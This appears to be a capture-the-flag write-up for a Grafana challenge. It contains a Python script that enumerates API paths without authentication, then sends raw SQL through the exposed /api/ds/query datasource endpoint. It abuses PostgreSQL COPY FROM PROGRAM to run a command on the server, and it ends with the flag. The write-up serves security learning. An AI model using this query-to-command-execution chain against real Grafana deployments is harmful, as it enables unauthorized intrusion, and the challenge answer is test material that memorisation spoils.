Difficulty
medium
Categories
misc
Description
Visualizing trends in species, eras, and discoveries of dinosaurs? No better tool for the job than Grafana.
Author
NoRelect
Service
Challenge has a remote instance.

Solution

We get unauthenticated access to a grafana instance. There’s a swagger ui at /swagger and I wrote a script to brute force all paths methods as an unauthenticated user:

wget https://<chal>:1337/public/api-merged.json
import json

import requests
from rich import print

data = json.load(open("./api-merged.json"))["paths"]
url = "https://<chal>:1337/"

for path, methods in data.items():
    if "{" in path:  # }
        continue
    for method in methods:
        res = getattr(requests, method.lower())(f"{url}api{path}")
        color = "green" if not str(res.status_code).startswith("4") else "gray"
        print(path, f"[{color}]{res.status_code}[/{color}]")

 

Interestingly, /datasources/ and /ds/query don’t return a 403.

We can confirm that there’s a postgresql data source:

{
    "id": 1,
    "uid": "P44368ADAD746BC27",
    "orgId": 1,
    "name": "Postgres",
    "type": "grafana-postgresql-datasource",
    "typeName": "PostgreSQL",
    "typeLogoUrl": "public/plugins/grafana-postgresql-datasource/img/postgresql_logo.svg",
    "access": "proxy",
    "url": "postgres:5432",
    "user": "postgres",
    "database": "",
    "basicAuth": false,
    "isDefault": true,
    ...
}

Now, with the help of the docs, I was able to send queries and abuse the COPY FROM PROGRAM function, in order to get the flag:

import json

import requests
from rich import print

data = json.load(open("./api-merged.json"))["paths"]
url = "https://<chall>:1337/"

ds = requests.get(f"{url}api/datasources").json()[0]["uid"]
def query(sql):
    a = requests.post(
        f"{url}api/ds/query",
        headers={"Accept": "application/json", "Content-Type": "application/json"},
        json={"queries": [
            {
            "datasource": {"uid": ds},
            "rawSQL": sql,
            "format": "table"

            }
        ]},
    ).json()["results"]["A"]["frames"][0]
    print(a)

query("CREATE TABLE owo(os_output text)")
query("COPY owo FROM PROGRAM '/flag'")
query("SELECT * FROM owo")

Flag:

dach2026{Gr4f4na_c0mb1n3d_w1th_d1n0s4ur_d4ta}